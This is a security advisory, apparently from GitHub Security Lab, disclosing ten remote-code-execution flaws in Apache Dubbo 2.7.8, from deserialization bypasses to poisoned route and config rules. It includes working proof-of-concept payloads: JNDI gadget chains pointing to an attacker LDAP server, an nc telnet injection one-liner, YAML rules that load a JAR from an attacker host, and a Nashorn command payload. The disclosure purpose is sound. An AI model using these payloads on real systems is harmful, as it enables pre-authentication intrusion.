Coordinated Disclosure Timeline

Summary

Multiple vulnerabilities have been found in Apache Dubbo enabling attackers to compromise and run arbitrary system commands on both Dubbo consumers and providers.

Product

Apache Dubbo

Tested Version

Dubbo v2.7.8

Details

Issue 1: Bypass CVE-2020-1948 mitigations (GHSL-2021-034)

CVE-2020-1948 describes a vulnerability where an attacker can send RPC requests with an unrecognized service or method name along with malicious parameter payloads. When the malicious parameter is deserialized, it will execute malicious code

Looking through the commit history, it seems that the patch involved several pull requests which also addressed a bypass which had been made public later:
1 - Prevent specific gadget chain by removing RPC invocation arguments when printing RPC exception PR
2 - Prevent RPC argument deserialization when service/method is not found PR
3 - Enforce parameter type check when processing calls to $invoke, $invokeAsync and $echo PR

The initial issue (2) involved the deserialization of objects from the RPC request input stream even for non-existing services and methods.

The initial patch prevented the deserialization of the RPC invocation object for unknown services/methods. However, it was still allowed when calling the Generic or Echo services. An attacker could just use any of the Generic or Echo service method names ($invoke, $invokeAsync or $echo) to reach the deserialization code and trigger the vulnerability. This bypass was addressed by enforcing the RPC call argument types to match those defined by the Generic or Echo service method parameter types (3).

However, as pointed out in this comment, the patch is not enough. Both $invoke, $invokeAsync and $echo take java.lang.Object arguments which allow an attacker to send any arbitrary gadget chain since all Java objects extend from java.lang.Object.

In addition, since the gadget chain used to demonstrate this issue required a call to the toString method on the deserialized object, an additional and maybe unrelated fix was introduced to prevent the call to the toString method for RPC deserialized arguments in (1).

To date (v2.7.8) CVE-2020-1948 is still exploitable by either placing the gadget payload in a $echo, $invoke or $invokeAsync argument and either: A) use a gadget chain that does not require a later call to the toString method or
B) relies on calls to the toString method which have not been sanitized/stripped out of deserialized objects.

For A), it is possible to craft a HashMap with colliding keys so that the deserialization will trigger the hashCode method of each item stored in the HashMap, and then use a helper gadget to trigger the dangerous toString method. This way, the malicious code will get executed during the deserialization and will not require a later call to the toString method on the deserialized object. This seems to be related with CVE-2020-11995.

For B), it is possible to find other places in the code where the toString method will be called on a deserialized object. For example, in addition to the RPC arguments, the RPC call attachments will also get deserialized from untrusted input:

Map<String, Object> map = in.readAttachments();
if (map != null && map.size() > 0) {
    Map<String, Object> attachment = getObjectAttachments();
    if (attachment == null) {
        attachment = new HashMap<>();
    }
    attachment.putAll(map);
    setObjectAttachments(attachment);
}

And they will be included in the Invocation.toString method but they will not be cleared by the call to getInvocationWithoutData at DubboProtocol:263:

        if (exporter == null) {
            throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + exporterMap.keySet() + ", may be version or group mismatch " +
                    ", channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + getInvocationWithoutData(inv));
        }

We can prepare use the following PoC request to trigger the toString call and unroll the gadget chain:

JdbcRowSetImpl impl = new JdbcRowSetImpl();
impl.setDataSourceName(JNDI_URL);
impl.setMatchColumn("foo");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, impl);

// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString("foo");
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$echo");
// 5.methodDesc
out.writeString("Ljava/lang/Object;");
// 6.paramsObject
out.writeObject("foo");
// 7.map
HashMap attachments = new HashMap();
attachments.put("pwn", toStringBean);
out.writeObject(attachments);

Additionally we can reach a different toString call which requires us to add an additional attachment to exercise the IS_CALLBACK_SERVICE_INVOKE branch:

JdbcRowSetImpl impl = new JdbcRowSetImpl();
impl.setDataSourceName(JNDI_URL);
impl.setMatchColumn("foo");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, impl);

// 1.dubboVersion
out.writeString("2.7.8");
// 2.path
out.writeString(SERVICE_NAME);
// 3.version
out.writeString("");
// 4.methodName
out.writeString("$echo");
// 5.methodDesc
out.writeString("Ljava/lang/Object;");
// 6.paramsObject
out.writeObject(toStringBean);
// 7.map
HashMap attachments = new HashMap();
attachments.put("_isCallBackServiceInvoke", "true");
out.writeObject(attachments);

There may be other places calling the deserialized argument’s toString method such as in the TraceFilter:

+ "(" + JSON.toJSONString(invocation.getArguments()) + ")" + " -> " + JSON.toJSONString(result.getValue())

Also, as explained in this blog post Hessian2Input.readUTF may lead to Hessian2Input.readObject and then a call to toString on the deserialized object. readUTF is used, for example, to read the dubbo version from the RPC invocation header, so sending the payload as the dubbo version will get it deserialized and triggered.

Impact

This issue may lead to pre-auth RCE

Issue 2: Bypass Hessian2 allowlist via alternative protocols (GHSL-2021-035)

As an additional opt-in security control Dubbo added support to enable an allowlist of types that can be deserialized.

However, other deserialization protocols have not been protected in a similar way. The serialization protocol is specified in the RPC call header and can be any of:

 2 -> "hessian2"
 3 -> "java"
 4 -> "compactedjava"
 6 -> "fastjson"
 7 -> "nativejava"
 8 -> "kryo"
 9 -> "fst"
 10 -> "native-hessian"
 11 -> "avro"
 12 -> "protostuff"
 16 -> "gson"
 21 -> "protobuf-json"
 22 -> "protobuf"
 25 -> "kryo2"

To prevent attackers from forcing a native Java deserialization, the serialization Id is checked against the value specified by the server provider. If the attacker tries to enforce any Java deserialization (java, nativejava or compactedjava) which was not configured by the service provider, the application will throw an Exception:

public static Serialization getSerialization(URL url, Byte id) throws IOException {
    Serialization serialization = getSerializationById(id);
    String serializationName = url.getParameter(Constants.SERIALIZATION_KEY, Constants.DEFAULT_REMOTING_SERIALIZATION);
    // Check if "serialization id" passed from network matches the id on this side(only take effect for JDK serialization), for security purpose.
    if (serialization == null
            || ((id == JAVA_SERIALIZATION_ID || id == NATIVE_JAVA_SERIALIZATION_ID || id == COMPACTED_JAVA_SERIALIZATION_ID)
            && !(serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id))))) {
        throw new IOException("Unexpected serialization id:" + id + " received from network, please check if the peer send the right id.");
    }
    return serialization;
}

However, the rest of the protocols are allowed and can be enforced by the attacker and most of them can lead to remote code execution.

For example, native-hessian is similar to hessian2 but does not support allowlists so even in the case that the developers would set an allowlist for hessian2, attackers would still be able to change the protocol to native-hessian and evade it.

In addition, both kryo and kryo2 use the CompatibleKryo class to get around the limitation of requiring a default constructor which greatly increases the number of gadgets that can be used by an attacker. In addition, Kryo will default to Java native serialization for Exceptions, InvocationHandlers and for any non java\..* or javax\..* classes that have no default constructor:

  if (!ReflectionUtils.isJdk(type) && !type.isArray() && !type.isEnum() && !ReflectionUtils.checkZeroArgConstructor(type)) {
    return new JavaSerializer();
  }

Note that to use some of these deserializers, they need to be available in the classpath, either because the provider explicitly imports them or because they are transitively imported by other dependencies.

To change the default protocol, the attacker only needs to set the serialization id in the RPC request header:

// header.
byte[] header = new byte[16];

// set magic number.
Bytes.short2bytes((short) 0xdab, header);

// set request and serialization flag.
// 2 -> "hessian2"
// 3 -> "java"
// 4 -> "compactedjava"
// 6 -> "fastjson"
// 7 -> "nativejava"
// 8 -> "kryo"
// 9 -> "fst"
// 10 -> "native-hessian"
// 11 -> "avro"
// 12 -> "protostuff"
// 16 -> "gson"
// 21 -> "protobuf-json"
// 22 -> "protobuf"
// 25 -> "kryo2"
header[2] = (byte) (FLAG_REQUEST | 2);

Impact

This issue may lead to pre-auth RCE

Issue 3: Pre-auth RCE via multiple Hessian deserializations in the RPC invocation decoder (GHSL-2021-036)

In addition to the deserialization of the RPC call arguments reported in CVE-2020-1938, there are multiple other places where bits of the RPC request get deserialized:

For invocations not conforming with the Dubbo protocol magic number an attacker can place the deserialization payload in multiple places such as:

For invocations (conforming to Dubbo protocol magic number) the serialization payload can be placed in the following places:

For example an attacker can craft an RPC NOK response like:

    // HEADER
    byte[] header = new byte[16];

    // SET MAGIC NUMBER
    Bytes.short2bytes(MAGIC , header);

    // HESSIAN SERIALIZED RESPONSE
    header[2] = (byte) 2;

    // NOK RESPONSE STATUS
    header[3] = (byte) 0;

    // ID
    Bytes.long2bytes(666, header, 4);

    // PAYLOAD
    Object payload = generate_spring_payload();
    ByteArrayOutputStream encodedPayload = direct_hessian_object(payload);
    encodedPayloadSize = encodedPayload.size();
    encodedPayloadBytes = encodedPayload.toByteArray();

    // RESPONSE SIZE
    Bytes.int2bytes(encodedPayloadSize, header, 12);

    // WRITE HEADER AND RESPONSE
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byteArrayOutputStream.write(header);
    byteArrayOutputStream.write(encodedPayloadBytes);
    byte[] bytes = byteArrayOutputStream.toByteArray();

This RPC packet will reach the Not Ok Response which will trigger the vulnerability. Similarly RPC packets can be crafted for each scenario described above.

Impact

This issue may lead to pre-auth RCE

Issue 4: Pre-auth RCE via Java deserialization in the Generic filter (GHSL-2021-037)

Apache Dubbo by default supports generic calls to arbitrary methods exposed by provider interfaces. These invocations are handled by the GenericFilter which will find the service and method specified in the first arguments of the invocation and use the Java Reflection API to make the final call. The signature for the $invoke or $invokeAsync methods is Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object; where the first argument is the name of the method to invoke, the second one is an array with the parameter types for the method being invoked and the third one is an array with the actual call arguments.

In addition, the caller also needs to set an RPC attachment specifying that the call is a generic call and how to decode the arguments. The possible values are:

An attacker can control this RPC attachment and set it to nativejava to force the java deserialization of the byte array located in the third argument:

    } else if (ProtocolUtils.isJavaGenericSerialization(generic)) {
        for (int i = 0; i < args.length; i++) {
            if (byte[].class == args[i].getClass()) {
                try (UnsafeByteArrayInputStream is = new UnsafeByteArrayInputStream((byte[]) args[i])) {
                    args[i] = ExtensionLoader.getExtensionLoader(Serialization.class)
                            .getExtension(GENERIC_SERIALIZATION_NATIVE_JAVA)
                            .deserialize(null, is).readObject();
                } catch (Exception e) {
                    throw new RpcException("Deserialize argument [" + (i + 1) + "] failed.", e);
                }
            } else {
                throw new RpcException(
                        "Generic serialization [" +
                                GENERIC_SERIALIZATION_NATIVE_JAVA +
                                "] only support message type " +
                                byte[].class +
                                " and your message type is " +
                                args[i].getClass());
            }
        }
    }

For example, the following code will prepare an RPC request which will trigger the java deserialization sink:

    // 1.dubboVersion
    out.writeString("2.7.8");
    // 2.path
    out.writeString("org.apache.dubbo.samples.basic.api.DemoService");
    // 3.version
    out.writeString("");
    // 4.methodName
    out.writeString("$invoke");
    // 5.methodDesc
    out.writeString("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
    // 6.paramsObject
    out.writeString("sayHello");
    out.writeObject(new String[] {"java.lang.String"});
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(<DESERIALIZATION PAYLOAD BYTE[]>);
    out.writeObject(new Object[] {baos.toByteArray()});
    // 7.map
    HashMap map = new HashMap();
    map.put("generic", "nativejava");
    out.writeObject(map);

Note that to successfully exploit this issue, an attacker needs to know a service and method name to reach the GenericFilter code (eg: org.apache.dubbo.samples.basic.api.DemoService and sayHello).

These names are trivial to get by connecting to the Dubbo port and issuing an unauthenticated ls command:

❯ telnet localhost 20880
Trying ::1...
Connected to localhost.
Escape character is '^]'.
ls
PROVIDER:
org.apache.dubbo.samples.basic.api.DemoService

dubbo>cd org.apache.dubbo.samples.basic.api.DemoService
Used the org.apache.dubbo.samples.basic.api.DemoService as default.
You can cancel default service by command: cd /
dubbo>ls
Use default service org.apache.dubbo.samples.basic.api.DemoService.
org.apache.dubbo.samples.basic.api.DemoService (as provider):
        sayHello

dubbo>

Impact

This issue may lead to pre-auth RCE

Issue 5: Pre-auth RCE via arbitrary bean manipulation in the Generic filter (GHSL-2021-038)

As we mentioned in issue #4, the GenericFilter also supports additional ways of serializing the call arguments including: true, raw.return and bean.

For the case where generic attachment is true or raw.return, the PojoUtils.realize method will be invoked:

  if (StringUtils.isEmpty(generic)
     || ProtocolUtils.isDefaultGenericSerialization(generic)
     || ProtocolUtils.isGenericReturnRawResult(generic)) {
     args = PojoUtils.realize(args, params, method.getGenericParameterTypes());
  }

This method accepts an argument where the attacker can pass a HashMap containing a special key to specify the class to be instantiated and populated.

For example, using the python client, we can instantiate a JndiConverter bean (if the gadget is available in the classpath) and call its setAsText setter which in turn will result in the invocation of a JNDI lookup call that can be used to run arbitrary Java code:

  client.send_request_and_return_response(
      service_name="org.apache.dubbo.samples.basic.api.DemoService",
      method_name='$invoke',
      param_types="Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;",
      service_version="",
      args=["sayHello", ["java.lang.String"], [{"class": "org.apache.xbean.propertyeditor.JndiConverter", "asText": "ldap://<attacker_server>/foo"}]],
      attachment={"generic":"raw.return"})

In a similar way, we can set the generic attachment to bean to reach the following code:

  } else if (ProtocolUtils.isBeanGenericSerialization(generic)) {
      for (int i = 0; i < args.length; i++) {
          if (args[i] instanceof JavaBeanDescriptor) {
              args[i] = JavaBeanSerializeUtil.deserialize((JavaBeanDescriptor) args[i]);
          } else {
              throw new RpcException(
                      "Generic serialization [" +
                              GENERIC_SERIALIZATION_BEAN +
                              "] only support message type " +
                              JavaBeanDescriptor.class.getName() +
                              " and your message type is " +
                              args[i].getClass().getName());
          }
      }
  }

In this case, JavaBeanSerializerUtil.deserialize will also allow us to invoke default constructors of arbitrary classes and then call setters or set field values for the constructed objects. For example, using the python client we can send the following request which will result into an arbitrary JNDI lookup call leading to RCE:

  beanDescriptor=new_object(
        'org.apache.dubbo.common.beanutil.JavaBeanDescriptor',
        className="org.apache.xbean.propertyeditor.JndiConverter",
        type=7,
        properties={"asText": "ldap://<attacker_server>/foo"}
        )

  return client.send_request_and_return_response(
      service_name="org.apache.dubbo.samples.basic.api.DemoService",
      method_name='$invoke',
      param_types="Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;",
      service_version="",
      args=["sayHello", ["java.lang.String"], [beanDescriptor]],
      attachment={"generic":"bean"})

Impact

This issue may lead to pre-auth RCE

Issue 6: Pre-auth RCE via arbitrary bean manipulation in the Telnet handler (GHSL-2021-039)

The Dubbo main service port can also be used to access a Telnet Handler which offers some basic methods to collect information about the providers and methods exposed by the service and it can even allow to shutdown the service. This endpoint is unprotected.

Additionally a provider method can be invoked using the invoke handler. This handler uses a safe version of FastJson to process the call arguments. However, the resulting list is later processed with PojoUtils.realize which as we saw above can be used to instantiate arbitrary classes and invoke its setters. Even though FastJson is properly protected with a default blocklist, PojoUtils.realize is not and an attacker can leverage that to achieve remote code execution:

echo "invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap://attacker/foo'})" | nc -i 1 dubbo_server 20880

Impact

This issue may lead to pre-auth RCE

Issue 7: RCE on customers via Tag route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-040)

Apache Dubbo support Tag routing which will enable a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.

When parsing these YAML rules, Dubbo customers will use SnakeYAML library to load the rules which by default will enable calling arbitrary constructors:

public class TagRuleParser {

    public static TagRouterRule parse(String rawRule) {
        Constructor constructor = new Constructor(TagRouterRule.class);
        TypeDescription tagDescription = new TypeDescription(TagRouterRule.class);
        tagDescription.addPropertyParameters("tags", Tag.class);
        constructor.addTypeDescription(tagDescription);

        Yaml yaml = new Yaml(constructor);
        TagRouterRule rule = yaml.load(rawRule);
        rule.setRawRule(rawRule);
        if (CollectionUtils.isEmpty(rule.getTags())) {
            rule.setValid(false);
        }

        rule.init();
        return rule;
    }
}

An attacker with access to the configuration center (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a tag rule file so when retrieved by the consumers, it will get RCE on all of them.

For example, the following program will deploy a Tag Route rule which, when downloaded by a customer, will download a Jar file from an attacker-controlled server and run any payload stored in the static class initializers:


    public static void main(String[] args) throws Exception {

        client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
        client.start();

        String path = "/dubbo/config/dubbo/" + provider_app_name + ".tag-router";

        String rule = "---\n" +
                "tags:\n" +
                "- name: pwn\n" +
                "  addresses:\n" +
                "    - !!javax.script.ScriptEngineManager [\n" +
                "        !!java.net.URLClassLoader [[\n" +
                "          !!java.net.URL [\"" + attackerHost + "\"]\n" +
                "        ]]\n" +
                "      ]";

        try {
            if (client.checkExists().forPath(path) == null) {
               client.create().creatingParentsIfNeeded().forPath(path);
            }
            client.setData().forPath(path, rule.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

Impact

This issue may lead to pre-auth RCE

Issue 8: RCE on customers via Condition route poisoning (Unsafe YAML unmarshaling) (GHSL-2021-041)

In a similar way, ListenableRouter in conjunction with ConditionRuleParser are also vulnerable:

public class ConditionRuleParser {
    public static ConditionRouterRule parse(String rawRule) {
        Constructor constructor = new Constructor(ConditionRouterRule.class);

        Yaml yaml = new Yaml(constructor);
        ConditionRouterRule rule = yaml.load(rawRule);
        rule.setRawRule(rawRule);
        if (CollectionUtils.isEmpty(rule.getConditions())) {
            rule.setValid(false);
        }

        return rule;
    }
}

For example, the following program will deploy a Condition Route rule which, when downloaded by customers, will download a Jar file from an attacker-controlled server and run any payload stored in the static class initializers:

    public static void main(String[] args) throws Exception {

        client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
        client.start();

        String path = "/dubbo/config/dubbo/" + consumer_app_name + ".condition-router";

        String rule = "---\n" +
                "conditions:\n" +
                " - !!javax.script.ScriptEngineManager [\n" +
                "   !!java.net.URLClassLoader [[\n" +
                "     !!java.net.URL [\"" + attackerHost + "\"]\n" +
                "   ]]\n" +
                " ]";

        try {
            if (client.checkExists().forPath(path) == null) {
                client.create().creatingParentsIfNeeded().forPath(path);
            }
            client.setData().forPath(path, rule.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }

        System.in.read();

        if (client.checkExists().forPath(path) == null) {
            client.create().creatingParentsIfNeeded().forPath(path);
        }
        client.setData().forPath(path, "".getBytes());
    }

Impact

This issue may lead to pre-auth RCE

Issue 9: RCE on customers via Script route poisoning (Nashorn script injection) (GHSL-2021-042)

Apache Dubbo supports Script routing which will enable a customer to route the request to the right server. These rules are loaded into the configuration center (eg: Zookeeper, Nacos, …) and retrieved by the customers when making a request in order to find the right endpoint.

When parsing these rules, Dubbo customers will use the JRE ScriptEngineManager to load an ScriptEngine and run the rule provided by the script which by default will enable executing arbitrary Java code:

    public ScriptRouter(URL url) {
        this.url = url;
        this.priority = url.getParameter(PRIORITY_KEY, SCRIPT_ROUTER_DEFAULT_PRIORITY);

        engine = getEngine(url);
        rule = getRule(url);
        try {
            Compilable compilable = (Compilable) engine;
            function = compilable.compile(rule);
        } catch (ScriptException e) {
            logger.error("route error, rule has been ignored. rule: " + rule +
                    ", url: " + RpcContext.getContext().getUrl(), e);
        }
    }
     
    ...

    public <T> List<Invoker<T>> route(List<Invoker<T>> invokers, URL url, Invocation invocation) throws RpcException {
        try {
            Bindings bindings = createBindings(invokers, invocation);
            if (function == null) {
                return invokers;
            }
            return getRoutedInvokers(function.eval(bindings));
        } catch (ScriptException e) {
            logger.error("route error, rule has been ignored. rule: " + rule + ", method:" +
                    invocation.getMethodName() + ", url: " + RpcContext.getContext().getUrl(), e);
            return invokers;
        }
    }

An attacker with access to the Registry (Zookeeper supports authentication but its is disabled by default and in most installations, and other systems such as Nacos do not even support authentication) will be able to poison a script route so that when it is retrieved by the consumers, it will get RCE on all of them.

For example, the following program will deploy a Script Route rule which, when download by the customers, will create a file named /tmp/pwned in the customer’s file system.

   public static void main(String[] args) throws Exception {
        // settings
        String service_name = "org.apache.dubbo.samples.basic.api.DemoService";

        // https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/
        String payload = "this.engine.factory.scriptEngine.eval('java.lang.Runtime.getRuntime().exec(\\\"touch /tmp/pwned\\\")');";

        RegistryFactory registryFactory = ExtensionLoader.getExtensionLoader(RegistryFactory.class).getAdaptiveExtension();
        Registry registry = registryFactory.getRegistry(URL.valueOf("zookeeper://127.0.0.1:2181"));
        registry.register(URL.valueOf("script://0.0.0.0/" + service_name + "?category=routers&dynamic=false&rule=" + URL.encode("(function route(invokers) { " + payload + " return invokers; } (invokers))")));
    }

Impact

This issue may lead to pre-auth RCE

Issue 10: RCE on providers via Configuration poisoning (Unsafe YAML unmarshaling) (GHSL-2021-043)

The providers are similarly vulnerable since they can read dynamic configurations from the registry and then AbstractConfiguratorListener will use ConfigParser to parse the YAML configuration files:

public class ConfigParser
    ...
    private static <T> T parseObject(String rawConfig) {
        Constructor constructor = new Constructor(ConfiguratorConfig.class);
        TypeDescription itemDescription = new TypeDescription(ConfiguratorConfig.class);
        itemDescription.addPropertyParameters("items", ConfigItem.class);
        constructor.addTypeDescription(itemDescription);

        Yaml yaml = new Yaml(constructor);
        return yaml.load(rawConfig);
    }
    ...
}

Similarly to the vulnerabilities on the customer side, the provider one also involves using an unsafe configuration of the SnakeYaml parser. Even though Dubbo enforces a root type (in this case ConfiguratorConfig) it is still possible to instantiate arbitrary types by calling their default or custom constructors for any nested objects.

For example, the following program will upload a malicious configuration to the Registry which will create a file named /tmp/pwned in the provider’s file system.

    public static void main(String[] args) throws Exception {

        client = CuratorFrameworkFactory.newClient(zookeeperHost + ":2181", 60 * 1000, 60 * 1000, new ExponentialBackoffRetry(1000, 3));
        client.start();

        String path = "/dubbo/config/dubbo/" + provider_app_name + ".configurators";

        String rule = "---\n" +
                "configs:\n" +
                " - !!javax.script.ScriptEngineManager [\n" +
                "   !!java.net.URLClassLoader [[\n" +
                "     !!java.net.URL [\"" + attackerHost + "\"]\n" +
                "   ]]\n" +
                " ]";

        try {
            if (client.checkExists().forPath(path) == null) {
                client.create().creatingParentsIfNeeded().forPath(path);
            }
            client.setData().forPath(path, rule.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }

        System.in.read();

        if (client.checkExists().forPath(path) == null) {
            client.create().creatingParentsIfNeeded().forPath(path);
        }
        client.setData().forPath(path, "".getBytes());
    }

Impact

This issue may lead to pre-auth RCE

CVE

Credit

These issues were discovered and reported by GHSL team member @pwntester(Alvaro Muñoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-{034,035,036,037,038,039,040} in any communication regarding this issue.